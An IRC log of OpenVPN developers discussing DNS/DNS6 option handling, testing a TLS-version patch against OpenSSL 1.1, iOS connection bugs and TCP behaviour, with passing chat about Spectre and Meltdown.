need an announcement on twitter actually 04:23 <@ordex> dazo: forum is clean, I diverted everybody to the bug tracker ;) 04:24 <@ordex> dazo: bug you can join the fun there :D 04:24 <@dazo> :-D 04:24 <@ordex> plaisthos: ? 04:24 <@ordex> plaisthos: on iOS DNS [IPV6] is enough 04:24 <@dazo> Okay, I can send out a twitter announcement if I don't see one yet 04:24 <@dazo> *sigh* ... https://twitter.com/Jack_ntuli/status/952950352567029766 04:24 <@ordex> dazo: ok, please check the link I sent via email 04:25 <@ordex> dazo: :D 04:25 <@ordex> dazo: send somebody from CS on them...unless you have free time to kill.. 04:25 <@plaisthos> ordex: yes, that is the problem openvpn2 expects DNS6 04:26 <@ordex> plaisthos: aaah 04:26 <@ordex> ok 04:26 <@ordex> plaisthos: I am pushing internally to get your PR through .. no worries :P 04:27 <@plaisthos> ordex: I have time :) 04:27 <@dazo> or ... should we rather have our dhcp-option DNS support IPv6 too? 04:27 <@plaisthos> and also I can keep my local branch for everything! 04:27 <@plaisthos> dazo: we probably could but it is messy 04:27 <@ordex> dazo: yeah that's also meaningful..I mean, easier for the user 04:27 <@ordex> less options 04:27 <@dazo> yeah, I think that's a better user/admin experience 04:28 <@ordex> plaisthos: why messy? you just parse the IP as v4 and if it fails then as v6 04:28 <@ordex> and if it fails you screammm 04:28 <@plaisthos> ordex: It is windows codce :P 04:28 <@cron2> what we have now is, sort of, network admin think 04:28 <@cron2> "if it is v4, call it dhcp-option DNS, if it is v6, it really should have been dhcpv6-option, but since we couldn't do that, at least call it dhcp-option DNS6" 04:29 <@dazo> index(addr, ':') != NULL ===> IPv6 04:29 <@cron2> but from a user point of view, this really is "DNS, why should I care" 04:29 <@cron2> so, "if (DNS) and (:) then { stuff into dns6[] array }" 04:29 <@dazo> exactly 04:30 <@cron2> would be something I could live with... and maybe even deprecate DNS6 again 04:30 <@ordex> this is exactly what Connect for iOS actually does 04:30 <@dazo> probably all clients based on OpenVPN 3 04:31 <@plaisthos> openvpn for android uses a "I don't even care" approach and puts whatever it gets from the server to the Android API 04:31 <@ordex> welllll, it depends if the tun_builder used by the client is in the core or is a platform specific one 04:31 <@dazo> ahh, right 04:31 <@ordex> plaisthos: same for iOs actually, but i need to know if it's ipv4 or ipv6 to create the "workaround route" 04:32 <@ordex> and the route api is not generic - i need to use ipv6add or ipv4add 04:32 <@plaisthos> but yes the core detects for me if it is ipv6 or not 04:32 <@plaisthos> oh actually for dns workarounds on Samsung I need that too :/ 04:32 <@ordex> :-P 04:33 <@cron2> well... you just disagree how it should be done in future, and then we synchronize option handling on the client side :) 04:33 <@ordex> :D 04:34 <@plaisthos> I don't really care much. But it would be nice to have keep DNS6 as undocumented alias 04:34 <@plaisthos> but then again it might be master only 04:39 <@ordex> yeah as backward compatible..then we just parse it as it was DNS 04:41 <@plaisthos> that dns/dns6 is more a documentation issue 04:42 <@plaisthos> the code is only used on windows (+android) but I have no problem we keeping compatibility in that api 04:42 <@cron2> linux exports DNS6 as env vars, at least 04:46 <@plaisthos> cron2: yeah, but the code that actually deals with that is outside of our control 04:51 <@syzzer> plaisthos: can you join #openvpn-meeting? 04:51 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:51 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 04:52 <@plaisthos> syzzer: sure 04:53 <@cron2> meh, syzzer beat me wrt openvpn_snprintf() 04:56 <@syzzer> though this turns out to be android-specific, so snprintf() is probably just as good :p 04:57 <@plaisthos> there is v2 now anyway with just that replace :) 04:57 <@cron2> yeah, saw that right after I hit send 05:23 <@vpnHelper> RSS Update - tickets: #987: iOS: Transport Error still exists in version 1.2.6 <https://community.openvpn.net/openvpn/ticket/987> 05:25 <@syzzer> mattock_: the "source" button on trac has a dead link 05:31 <@vpnHelper> RSS Update - tickets: #988: iOS: VPN on Demand with .mobileconfig does not work <https://community.openvpn.net/openvpn/ticket/988> 05:31 <@vpnHelper> RSS Update - gitrepo: Replace buffer backed strings for management_android_control with sim… <https://github.com/OpenVPN/openvpn/commit/8fcc63b2e7d24d2fbf6d7ab10767c2347c723d31> 05:49 <@plaisthos> ordex: I am a DNS/DNS6 patch for openvpn 2 05:50 <@ordex> one line? :) 05:50 <@ordex> :-P 05:55 <@ordex> just kidding ofc :) 06:03 <@plaisthos> :) 06:03 <@plaisthos> it is quie more than that 06:17 <@plaisthos> ordex: one liner sent to the list 06:18 <@plaisthos> ( 2 files changed, 20 insertions(+), 21 deletions(-)) 06:24 <@syzzer> that's a -1 liner 06:24 <@plaisthos> :) 06:25 <@cron2> code removal is always good 06:46 <@vpnHelper> RSS Update - tickets: #989: iOS: No Connection to VPN-Server <https://community.openvpn.net/openvpn/ticket/989> 06:49 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 06:49 <@ordex> plaisthos: why ipv4 gets its own nice helper function dhcp_option_address_parse() while IPv6 parsing is thrown in the middle of the options logic? :P 07:16 <@vpnHelper> RSS Update - tickets: #990: iOS: AUTH_FAILED on every WAKEUP event <https://community.openvpn.net/openvpn/ticket/990> 07:18 <@ecrist> tincantech: pong 07:19 <@ecrist> ordex: what comment do you want removed? 07:19 <@ordex> ecrist: too late, we wiped the ticket 07:19 <@ordex> with trac-admin 07:20 <@ecrist> that's one way to do it 07:20 <@ecrist> admins can edit tickets via the web interface. 07:21 <@ecrist> individual comments even 07:22 <@ordex> ecrist: basically I modified the ticket and because of that a new comment with the "diff" was created 07:22 <@ordex> but I Wanted to hide the diff basically 07:25 <@ecrist> we could have just removed the comment. no big deal. 07:26 <@ordex> ecrist: but if you removed the diff comment, would have that reverted my change ? 07:28 <@ecrist> no 07:29 <@ordex> oh ok 07:29 <@ordex> next time :) 07:29 <@ecrist> In the future, just make sure you post what you intended. ;) 07:32 <@plaisthos> ordex: Don't blame me for that! 07:32 <@ordex> :D 07:32 <@ordex> ecrist: it was a user that reported sensible data in the ticket and wanted me to remove it 07:32 <@ordex> :p 07:33 <@plaisthos> git blames cron2 07:33 <@ecrist> I assume you mean sensitive? 07:33 <@ecrist> In that case, I suggest they not post sensitive data. 07:34 <@plaisthos> and also Selva 07:34 <@ordex> ecrist: yes 07:34 * ordex is post-wine already 07:40 <@dazo> ordex: cognac? brandy? whiskey? rum? 07:41 <@dazo> "sensible data" is nice to have .... "sensitive data", probably not so much ;-) 07:42 <@ordex> ;P 07:43 <@plaisthos> ordex: but I will make a v2 to make you happy 07:43 <@plaisthos> (and because it is good idea) 07:43 <@ordex> :* 07:50 <@plaisthos> if you use ignore whitespace changes the dns patch looks horrible because git tries very hard to make a minimal diff that is almost unreadable 07:51 <@syzzer> now it's a 6-line patch :o 07:51 <@syzzer> but yeah, this is definitely better :) 07:54 <@plaisthos> git blame tells me all bracks are from other people :D. For some reason this patch just keeps the bracks in the same place 08:15 <@syzzer> cron2, mattock: I think this one should go in before releasing 2.4.5 08:16 <@syzzer> in particular is we're going to ship ossl 1.1 for windows 08:19 <@cron2> ordex: because there are no DHCPv6 options, because there is no DHCPv6 08:19 <@vpnHelper> RSS Update - tickets: #991: VPN connection is on but no traffic after ~20-60 seconds <https://community.openvpn.net/openvpn/ticket/991> 08:19 <@cron2> syzzer: which one? 08:20 <@syzzer> https://patchwork.openvpn.net/patch/160/ 08:20 <@vpnHelper> Title: [Openvpn-devel,1/3,v2] Fix --tls-version-min and --tls-version-max for OpenSSL 1.1+ - Patchwork (at patchwork.openvpn.net) 08:21 <@cron2> yes 08:21 <@cron2> it would be so nice if anyone could actually review that, like, "the original bug reporter"... 08:23 <@syzzer> yeah, taht would be great, but testing that this works for openssl 1.0 and 1.1 can basically be done by anyone :) 08:24 <@syzzer> tincantech: ^^ can I interest you in getting another Tested-by: tag? :p 08:34 < tincantech> syzzer: you mean patch 160 .. I can have a go certainly 09:00 <@syzzer> tincantech: yeah, that one 09:01 <@syzzer> would be great! 09:35 < tincantech> syzzer: make with 160 : ssl_openssl.c:248:23: warning: passing argument 3 of ‘SSL_CTX_ctrl’ makes integer from pointer without a cast [-Wint-conversion] 09:35 < tincantech> I presume that is acceptable ? 09:35 <@syzzer> tincantech: hm, usually not 09:35 <@syzzer> let me check 09:36 < tincantech> i applied 160 to master after git pull .. 09:37 < tincantech> this is on arch linux with OpenSSL 1.1.0g 2 Nov 2017 09:38 <@plaisthos> tincantech: We usually try to avoid having any compiler warnings 09:39 < tincantech> that's why i asked ;) 09:41 <@syzzer> hm, this is not our fault 09:41 <@syzzer> from openssl/ssl.h: 09:41 <@syzzer> #define SSL_CTX_get_min_proto_version(ctx) \ 09:42 <@syzzer> SSL_CTX_ctrl(ctx, SSL_CTRL_GET_MIN_PROTO_VERSION, NULL, NULL) 09:42 <@syzzer> and 09:42 <@syzzer> long SSL_CTX_ctrl(SSL_CTX *ctx, int cmd, long larg, void *parg); 09:42 <@syzzer> so your compiler is right to complain about that openssl code :p 09:42 <@syzzer> (but we should ignore it) 09:43 < tincantech> so .. then i should continue with some testing of the binary ? server/client etc 09:43 <@syzzer> yep :) 09:43 < tincantech> ok 09:43 <@syzzer> verify that --tls-version-min and --tls-version-max work as expected 09:44 <@syzzer> for both openssl 1.1 and 1.0 (although even just one of those already helps) 09:45 < tincantech> "as expected" .. i'll see what i can do *) 09:46 <@syzzer> the connection log tells you which TLS version it selected :) 09:46 <@syzzer> that should never be higher than max, or lower than min, of course 09:47 < tincantech> yep .. i am soo familiar with the log i could almost hand write one ;) 09:57 <@syzzer> haha, I guessed so :p 09:57 <@syzzer> create a pull request for openssl to fix their macros: https://github.com/openssl/openssl/pull/5099 09:57 <@vpnHelper> Title: Fix SSL_CTX_get_{min,max}_proto_version integer conversion warning by syzzer · Pull Request #5099 · openssl/openssl · GitHub (at github.com) 09:58 <@plaisthos> syzzer: and now it probably takes a few days for Fox-IT to sign the CLA for you since you used your fox-it email address 09:59 <@plaisthos> *ducks* 10:00 <@syzzer> I tried to classify the change as 'trivial' 10:00 <@plaisthos> yeah, lets say what happens 10:00 <@plaisthos> but 150 open pull requests sounds like they are as fast as mbedtls 10:00 <@syzzer> but yeah, I think our legal people will be stressed out immediatly if some 'agreement' has to be signed :p 10:01 <@syzzer> plaisthos: they seem to use pull requests for their own changes too 10:01 <@dazo> or should we just call SSL_CTX_ctrl(ctx, SSL_CTRL_GET_{MIN,MAX}_PROTO_VERSION, 0, NULL) directly for the time being :-P 10:01 <@dazo> *ducks* 10:01 <@syzzer> oh you funny man 10:01 <@plaisthos> dazo: nah, #include <crypto/internal/something.h> 10:01 <@syzzer> why not #undef .. #define The Right Way ourselves? :p 10:02 <@dazo> syzzer: yeah ... just call the file where we put such things: openssl-bugfixes.h ;-) 10:03 <@plaisthos> dazo: you can also do #pragmas around that line to disable the warnings 10:03 <@dazo> but disable warnings are bad! 10:03 <@dazo> ;-) 10:03 <@plaisthos> I did that for another oss project because stm32 header files use extensively register int foo; and clang exentensively complains about register xx; should not be used anymore 10:04 <@plaisthos> #pragma push disable thatwarning 10:04 <@plaisthos> #include <stm32-headrs> 10:04 <@plaisthos> #pragma pop 10:04 <@plaisthos> not nice but better than modifying upstream in some cases 10:05 <@dazo> :) 10:06 <@plaisthos> syzzer: btw. there is special commit line for trivial cla 10:06 <@plaisthos> https://github.com/openssl/openssl/pull/5010 10:06 <@vpnHelper> Title: Update LICENSE year to 2018. by sdbedi · Pull Request #5010 · openssl/openssl · GitHub (at github.com) 10:06 <@plaisthos> maybe grep through commits and see what else is considered trivial 10:07 <@syzzer> plaisthos: ah, cool 10:08 <@syzzer> "openssl-machine removed the need-cla label 30 seconds ago" 10:10 <@plaisthos> .oO(Does an openssl-machine use an openssl engine? *ducks*) 10:10 <@syzzer> are you mad? nobody can get those running. 10:14 <@cron2> what is openssl-machine? 10:14 <@dazo> github bot I preseume 10:14 <@dazo> https://github.com/openssl-machine 10:14 <@vpnHelper> Title: openssl-machine · GitHub (at github.com) 10:14 <@dazo> :) 10:47 <@dazo> and interesting research on openssl UX :) https://crocs.fi.muni.cz/public/papers/rsa2018 10:47 <@vpnHelper> Title: Why Johnny the Developer Cant Work with Public Key Certificates [RSA-CT 2018] [CRoCS wiki] (at crocs.fi.muni.cz) 10:49 < tincantech> syzzer: i just updated arch linux and got a new glib and the warning above is gone .. ? 10:50 <@dazo> tincantech: The " ssl_openssl.c:248:23: warning: passing argument 3 of ‘SSL_CTX_ctrl’ makes integer...:" warning? 10:50 < tincantech> going to try the whole thing again 10:50 < tincantech> yeah that warning 10:51 <@dazo> ehm ... that doesn't make sense at all ... as neither we nor openssl depend on glib/glib2 10:51 <@dazo> and in particular no in regards to the SSL layer 10:51 < tincantech> must be me doing something wrong 10:51 <@dazo> try running: make distclean && ./configure && make 10:52 <@dazo> (just a plain 'make clean' should also work) 10:52 <@dazo> if ssl_openssl.c is untouched and ssl_openssl.o exists, Make won't build it again 10:53 < tincantech> ahh yes .. whoops 10:53 < tincantech> thanks 10:53 <@dazo> yw! 10:54 < tincantech> you were right ;) it's still there 10:54 <@dazo> :) 11:19 <@plaisthos> 42% created a certificate with «Internet Widgits Pty Ltd.» in an organization field. 11:19 <@plaisthos> I had to spontenous laugh reading that one 11:23 <@dazo> :) 11:25 <@dazo> :) that number doesn't really surprise me though ... the task did not say it was needed, expected nor required to change any of the default fields ... and for testing purposes, that string is just as valid and good as any other 11:37 < tincantech> "Only 9% people adjusted the commands after copy-pasting them from the tutorial" .. lol 11:41 < tincantech> syzzer: my first test of patch 160 seems to be ok : I used --tls-version-min 1.2 --tls-version-max 1.2 in server (client is an old client that I have not touched) 11:46 < tincantech> Wed Jan 17 17:40:05 2018 us=273558 92.21.48.231:3285 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-ECDSA-AES256-GCM-SHA384, 384 bit EC, curve: secp384r1 11:48 < tincantech> doing the same with a client running the same binary gives the same result (with different certs tho) 11:48 < tincantech> Wed Jan 17 17:44:02 2018 us=658200 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 4096 bit RSA 11:51 < tincantech> that is all openssl 1.1.0g .. i'll try now with ossl1.0.x 12:29 < tincantech> https://www.youtube.com/watch?v=6O8LTwVfTVs 12:30 < tincantech> Spectre and Meltdown: Data leaks during speculative execution | J. Horn (Google Project Zero) 13:13 < tincantech> I bet Intel wishes Jann Horn had *not* RTFM ;) 13:29 <@vpnHelper> RSS Update - tickets: #992: dhcp-option PROXY_AUTO_CONFIG_URL not working <https://community.openvpn.net/openvpn/ticket/992> 13:31 <@plaisthos> I think that was only a matter of time 13:31 <@plaisthos> people are exploring more and more of these approaches to trick processors to leak data 13:36 <@dazo> and Spectre doesn't affect only Intel ... AMD is known to have similar issues, as well as ARM and today also Sparc ... and probably more to come 13:40 <@plaisthos> fun with OpenSSL hacks... RSA_size_dyn= (int (*) (const RSA *)) dlsym(RTLD_DEFAULT, "RSA_size") 13:46 <@dazo> oh dear ..... 13:48 < tincantech> Jann was apparently reading the intel manual when he theorised this cache attack 13:49 <@plaisthos> dazo: OpenVPN3 builds a openssl 1.0.2 library just to link against it and the not use it for the same purpose :) 13:49 <@plaisthos> openvpn3/javacli/android/jellybean_hack.cpp 13:52 <@dazo> heh ... why am I not surprised :-P 13:53 < tincantech> I think it is hilarious that a 22yo kid (abeit genius) on his own worked out something that the *entire* IT security industry had not thought of and they even had at least 10 years to do so .. to me this is poetic justice of the best kind ;) 13:54 <@dazo> nah .... nobody had thought of Heartbleed either ... until that suddenly exploded 13:54 <@dazo> we will experience that a lot ... where in hindsight you just go facepalm and outburst "of course, that's just stupid!" 13:55 <@plaisthos> also for meltdown all people who did this cache attack will facepalm 13:55 <@plaisthos> since for them it is such an obvious way to attack 13:56 < tincantech> The point is that Jann said he was readubg the manual when the idea struck him .. more or less proving that nobody else actually read the manual .. that's my point and why i find it hilarious 13:56 < tincantech> especially when you consider how over priced IT security is 13:56 <@plaisthos> I tink you are missing the point 13:57 <@plaisthos> You need to read the manual with a certain mindset to even speculate about attacks like this 13:57 < tincantech> i may be missing your point but not mine 13:57 < tincantech> jann was not even looking for explioits he was just checking what it did for his own code 13:57 < tincantech> i maintain that nobody else ever read the manual 13:58 <@plaisthos> tincantech: still he was someone with all that stuff in the back of his mind 13:58 <@dazo> tincantech: I have read several of the "gain root account access from a unprivileged user account" exploits from Brad Spengler (spender) .... and you really need a very special mindset to realise these issues 13:59 < tincantech> dazo: I have no doubt of that .. but that makes my point even more accurate .. ei. nobody else who calls themself a security expert really is .. 13:59 <@dazo> that code (even though spender was good at adding obfuscation to his exploit code) when reading it ... you just went "how the he** did I come up with that idea?!?" 14:00 < tincantech> i even have a real world example .. 14:01 < tincantech> i recently did some work for a US IT security firm .. they asked me for a public key for login to their ssh server .. so i sent one .. they not only did not know what to do with it but they attached it to root access not user access 14:01 <@dazo> well, I'm not saying there are fraudsters out there ... but these guys you've met here are not necessarily the ones discovering hardware bugs either 14:02 <@dazo> and those finding hardware bugs might not be capable of catching software bugs 14:02 <@dazo> finding bugs is a diceroll combined with domain knowledge 14:02 < tincantech> ahh .. i preclude openvpn-devs .. i have seen what you *are* capable of ;) 14:03 <@plaisthos> like the simple fix that cron2, syzzer and I myself ACKed 14:03 < tincantech> but yeah .. fraudsters indeed .. lots of them 14:03 <@plaisthos> and that turned out to be a CVE 14:03 <@plaisthos> sometimes you overlook things 14:03 <@dazo> heh ... well, I'm far from a security expert ... but I can find issues where other go wtf!? .... and more commonly I go wtf!?! when others report something 14:05 <@dazo> But I've also worked with security researches in Red Hat .... I'm just simply impressed how they sometimes managed to twist the world and see it from a different perspective ... and voila! a bug 14:07 <@dazo> but \o/ !!! .... I've managed to run some initial tests with openvpn3-linux against our community test server .... had to run them manually though, but I start to get an idea how to write the test driver now 14:07 <@plaisthos> Nice! 14:07 <@plaisthos> :) 14:08 <@plaisthos> Some day I gonne write an integration test for my Android client as well 14:08 <@dazo> but I noticed openvpn3 does not support TAP mode .... 14:08 <@plaisthos> :D 14:08 <@plaisthos> dazo: just implement it! *ducks* 14:08 <@dazo> hehehe :) 14:09 <@plaisthos> should a one liner, maybe 5 lines (: 14:09 <@dazo> I have started pondering if I should dive into that rabbit hole :) .... I certainly would learn a lot! 14:09 <@dazo> LOL 14:10 <@dazo> I've pushed out several fixes and improvements to openvpn3-linux repos this week ... so it's slightly less rough around the edges now :) 14:10 <@dazo> (but basically all changes were on the front-end/user interface side of things ... not the backend stuff, that seems pretty good and stable) 14:12 <@plaisthos> fixing travis builds is a boring thing 14:12 <@plaisthos> change someting wait 10 minutes, see that you made a typo, wait another 10 minutes 14:12 <@dazo> eewww 14:17 <@plaisthos> downloading a 814 MB android compiler ndk bundle and extrating it is not helping ... 14:19 < tincantech> just curious .. have you heard of "core-network" network simulator ? 14:45 <@plaisthos> yay for cryptic error messages from swig: 14:45 <@plaisthos> Error: Syntax error in input(3). 14:47 <@plaisthos> OpenVPNClient(const OpenVPNClient&) = delete; 14:47 <@plaisthos> seems travis swig version is too old to parse C++11 14:54 <@vpnHelper> RSS Update - tickets: #993: long sleep leaves tunnel Dead on v.1.2.6 <https://community.openvpn.net/openvpn/ticket/993> 15:10 <@vpnHelper> RSS Update - tickets: #994: Bug: ios vpn on demand broken <https://community.openvpn.net/openvpn/ticket/994> 15:47 < tincantech> woah "Many Apple services such as Push Notifications and FaceTime are never routed through the VPN tunnel, as per Apple policy." 15:52 <@plaisthos> *shrug* 15:52 <@plaisthos> Google phones also often route google services not through VPN. 15:53 <@plaisthos> deliberatly 15:57 < tincantech> it is simply something i was not aware of and sounds creepy "as per Apple policy" 16:00 <@plaisthos> *shrug* 16:01 < tincantech> do "they" include built in routes to thier own services that cannot be overridden ? 16:01 <@plaisthos> I don't have any current iPhone devices 16:01 <@plaisthos> but for android yes 16:01 < tincantech> well something like that i guess.. 16:02 <@plaisthos> but it is not completely deterministic when Google services go over VPN and when not 16:02 <@plaisthos> at least I haven't found a good indicator for it 16:03 < tincantech> i guess these things are in the EUA or something like that so people do know (if they read it) 16:03 <@plaisthos> well not sure 16:03 <@plaisthos> but no one even promised you anything about the VPNs on your mobile device 16:04 <@plaisthos> that everything goes via VPN is just your assumption d: 16:05 < tincantech> i don't have a mobile device of that nature .. so i was just curious 16:05 < tincantech> but that android does it and it is visible is enough for me :) 16:05 <@plaisthos> well visible depends 16:06 < eworm> Establish your VPN from a trusted router and everything will go throuh it. :-p 16:06 <@plaisthos> without network sniffer it is only visible if you ask Google what your IP is and google now will return often your non VPN IP 16:06 < tincantech> sure .. not visible to a teenager on facebook .. but if you dig a little deeper 16:06 < tincantech> eworm nice ;) 16:08 < eworm> Did we have any decision on the next release in last meeting? 16:08 < tincantech> i did not see a summary on the ML today 16:09 < tincantech> https://community.openvpn.net/openvpn/wiki/Topics-2018-01-17 16:09 <@vpnHelper> Title: Topics-2018-01-17 – OpenVPN Community (at community.openvpn.net) 16:09 <@cron2> next thursday 16:09 <@cron2> like, 8 days 16:10 < eworm> cron2: Thanks! 16:11 <@plaisthos> I finally won against travis ... :/ 16:11 <@plaisthos> But it feels like a hollow victory 16:21 <@plaisthos> hm openvpn3 execlude route emulation does not really seem to work :( 16:21 <@plaisthos> route 42.0.0.0 255.0.0.0 net_gateway does not trigger routing exclusion at least 16:21 < tincantech> no doubt your disappointment comes from such a level as to be innaccessible by the likes of a mere mortal such as myself .. but if it is any consollation, Disappointment follows me around with a compass, a hunting knife and night vision goggles =[ 16:41 < tincantech> ordex: you might like this : https://dankaminsky.com/ 16:46 < tincantech> and dazo, as you like the quantum stuff ^ 16:47 < tincantech> sorry, should have been this : https://dankaminsky.com/2017/07/26/encraption/ 16:55 < tincantech> mattock: was there meant to be a meeting summary to the ML today ? 18:31 <@vpnHelper> RSS Update - tickets: #992: iOS: dhcp-option PROXY_AUTO_CONFIG_URL not working <https://community.openvpn.net/openvpn/ticket/992> 18:47 < tincantech> hehehe .. iOS125 https://www.youtube.com/watch?v=_mE_JmwFi1Y 18:48 <@vpnHelper> RSS Update - tickets: #995: iOS: dhcp-option PROXY_AUTO_CONFIG_URL not working <https://community.openvpn.net/openvpn/ticket/995> 19:13 <@vpnHelper> RSS Update - tickets: #993: iOS: long sleep leaves tunnel Dead on v.1.2.6 <https://community.openvpn.net/openvpn/ticket/993> 19:33 <@vpnHelper> RSS Update - tickets: #996: iOS - connection terminates upon opening of the app <https://community.openvpn.net/openvpn/ticket/996> 19:45 <@vpnHelper> RSS Update - tickets: #991: iOS: VPN connection is on but no traffic after ~20-60 seconds with TCP <https://community.openvpn.net/openvpn/ticket/991> 19:51 < tincantech> the kraken awakes ;) 19:52 < tincantech> ordex: hey 19:52 <@ordex> wei 19:53 < tincantech> are you sure you want to drag that noise to trac ? 19:53 < tincantech> as i recall .. you said "ignore them" 19:54 < tincantech> no "them" iOS .. but .. you know .. ppl whos problems probably stem from the server etc 19:54 < tincantech> did you read that link i posted to you ? 19:56 < tincantech> the FAQ guide for iOS was really good btw 20:01 <@ordex> tincantech: glad to hear that 20:01 <@ordex> what link ? 20:01 <@ordex> it was a video, wasn't it ? 20:01 * tincantech does history 20:02 < tincantech> https://docs.openvpn.net/faqs/faq-regarding-openvpn-connect-ios/ 20:02 <@vpnHelper> Title: FAQ regarding OpenVPN Connect iOS | OpenVPN Access Server documentation (at docs.openvpn.net) 20:04 <@ordex> ? 20:04 < tincantech> the other link is the https://dankaminsky.com/2017/07/26/encraption/ 20:04 <@ordex> ah encraption 20:04 <@ordex> is it a real word? :D 20:04 < tincantech> that one made me LOL 20:05 < tincantech> i will not sa what to think but that is unique and made me LOL for real 20:05 < tincantech> and you can google the auther .. 20:08 <@ordex> ok :) 20:09 < tincantech> oh yeah the video is Jann Hass who basically discovered meltdown and spektre 20:09 < tincantech> i only posted that video becuase it is the real author 20:12 < tincantech> well i believe it is .. could be wrong ! ;) 21:27 <@vpnHelper> RSS Update - tickets: #997: openVPN connect ios app disconnects from Windows RDP host every 9 sec <https://community.openvpn.net/openvpn/ticket/997> 21:44 <@vpnHelper> RSS Update - tickets: #997: iOS: openVPN connect ios app disconnects from Windows RDP host every 9 sec <https://community.openvpn.net/openvpn/ticket/997> --- Day changed Thu Jan 18 2018 00:20 <@vpnHelper> RSS Update - tickets: #996: iOS: connection terminates upon opening of the app <https://community.openvpn.net/openvpn/ticket/996> 02:28 <@vpnHelper> RSS Update - tickets: #998: iOS connection to Watchguard Firebox: DNS settings still not aplied <https://community.openvpn.net/openvpn/ticket/998> 02:29 <@ordex> omg, reading is too difficult 02:38 <@cron2> what is this tcp/443 thing? My corp users also use tcp/443, and I haven't seen anything in particular (but we do fallback to udp/1194, so this might have hidden anything) 02:39 < eworm> what tcp/443 thing? 02:40 < eworm> possibly there is a security gateway that inspects the connection and detects openvpn not to be https? 02:45 <@ordex> 443 is just a placeholder 02:46 <@ordex> apparently the TCP VPN connection is not as stable as UDP on Connect 02:46 <@cron2> so it's "all TCP ports", not 443 in particular? 02:46 <@ordex> right 02:46 <@cron2> funky 02:47 <@ordex> it's something weird in the Apple API 02:47 <@ordex> at some point the packet handler says goodbye and goes to the bar 02:47 <@ordex> but not always .. I have to perform several big transfers before seeing it 02:47 <@ordex> although other people claim to be able to repro easily (may depend on the device) 02:50 <@ordex> cron2: and when it happens it normally just hangs, no disconnection (until timeout) 02:58 <@ordex> but the last comment is interesting: https://community.openvpn.net/openvpn/ticket/984#comment:8 02:58 <@ordex> :P 02:58 <@vpnHelper> Title: #984 (iOS: connection stalled on TCP 443) – OpenVPN Community (at community.openvpn.net) 03:03 <@cron2> "should be an easy fix!" - there you have it, slacker! 03:03 <@ordex> :D 03:03 <@ordex> if he says so, I think it must be, no ? 03:04 < eworm> the bigger the bar, the harder to reproduce :-D 03:04 <@vpnHelper> RSS Update - tickets: #984: iOS: connection stalled on TCP <https://community.openvpn.net/openvpn/ticket/984> 03:05 <@ordex> :D 03:06 <@mattock> can someone tell what we agreed regarding PK-SIG yesterday? 03:06 <@mattock> for the summary 03:06 <@mattock> I see lots of discussion but no +1's 03:07 <@mattock> or shall I just write "lots of different viewpoints were presented and it was decided to let Selva decide what to do based the feedback" 03:10 * ordex can't be helpful because was not really part of that debate 03:11 <@cron2> mattock: I think that's the gist - good arguments either way, and Selva gets to decide (and dazo wanted to check with the in-house commercial folks) 03:14 <@mattock> cron2: ok, that's what I thought 03:15 <@ordex> cron2: when a session is using DATA_V2 to send data, is it expected to see DATA_V1 in the middle too ? 03:19 <@cron2> no 03:20 <@ordex> ok, then something is crapping out 03:20 <@ordex> and do we normally handle packet "aggregation" on the downlink ? 03:20 <@cron2> after initial negotiation I don't think it can ever change back to V1 - that would boil down to "we have forgotten that the other side can do peer-id / v2" 03:20 <@ordex> I have seena packet sent by the server containing serveral "small openvpn packets" with their own header 03:20 <@cron2> TCP? 03:20 <@ordex> yes 03:21 <@cron2> well, TCP is a streaming protocol... so we stuff things in on one side as a sequence of bytes, and they come out on the other end as a sequence of bytes 03:21 <@cron2> the "how is it lumped together into TCP frames" is not guaranteed 03:21 <@ordex> sure, but what I see is aggregation at the openvpn layer 03:21 <@ordex> i.e. we have a frame, embeeded with the ovpn header 03:21 <@ordex> then we have another 03:21 <@cron2> sure of that? 03:21 <@ordex> and so on 5 times 03:21 <@ordex> they are stuffed together in one TCP segment and sent to the client 03:21 <@ordex> I can share the pcap later 03:22 <@cron2> if you receive one TCP chunk of bytes and that has 5 openvpn frames inside, it doesn't have to be "openvpn" doing that 03:22 <@ordex> might be the kernel optimizing small packets ? 03:22 <@cron2> if you fire off 5x "chunk of bytes" into a TCP socket, the kernel is free to lump it all into one TCP frame 03:22 <@ordex> right 03:22 <@cron2> yes 03:22 <@ordex> makes sense 03:22 <@ordex> yeah 03:22 <@ordex> ok 03:22 <@ordex> phew, I see bugs everywhere :D 03:23 <@cron2> there's also socket options to control that (SO_NODELAY?) which control whether the kernel sends out everything right away, or "waits for more" 03:24 <@ordex> yeah, now i recall that too 03:24 <@ordex> yup yup 03:24 <@ordex> that's ok 03:24 <@cron2> ah, yes, TCP_NODELAY (in the "man tcp" man page on BSD) 03:24 <@ordex> I will check the V1 vs V2 thing then 03:26 <@cron2> maybe it's a latency thing, so you need "more" or "less" latency compared to what you currently have to trigger this more easily 03:26 <@cron2> (the tcp hangs) 03:26 <@ordex> mh..maybe..with a speedtest at ookla it seems easier to reproduce 03:26 <@ordex> something is stopping the queue gets full 03:27 <@ordex> from there nothing works of course 03:27 <@ordex> I need to dig deeper 03:27 <@ordex> something is stopping and* the queue gets full 05:04 <@cron2> meh, still problems with iOS and DNS... 05:05 <@cron2> what was the wisdom wrt DNS and DOMAIN? send DOMAIN *first* or *last*? 05:52 <@plaisthos> mattock: we decided against supporting an old and new variant at the same time. So we basically have to we have two options: always RSASIGN for historical reason since dazo fears changing it will break. Or do a hard switch and always call it PK-SIGN. Dazo will try to find out if compatibility is important enough 05:53 <@plaisthos> TCP_NODELAY is also only helping if the buffers are empty 05:53 <@plaisthos> if you have buffer it still aggregates the packets 05:56 <@plaisthos> ordex: do you by chance know if the android route exclusion emulator is supposed to work? It does not work in my app. If I disable it everything works fine (then openvpn3 is assuming it is allowed to set negative routes and my own in app emlator takes care) 05:57 <@ordex> cron2: DNS has to go first and DOMAIN after 05:58 <@ordex> cron2: but didn't you say your configuration was working during your test ? 05:58 <@ordex> plaisthos: never used so far, only seen it in the code 06:05 <@plaisthos> ordex: okay 06:07 <@plaisthos> I will probably just disable it for now and maybe look into it why it is not working when I have more time. 06:28 <@cron2> ordex: it is, that was some very weird thing on an ipad - which then just disappeard, while I was trying to figure out if there were any differences in ccd/ for that ipad... 06:28 <@ordex> uhm ok 06:29 <@plaisthos> cron2: it's magic! 06:29 <@ordex> if you see something weird, please check the log to see if the sequence of 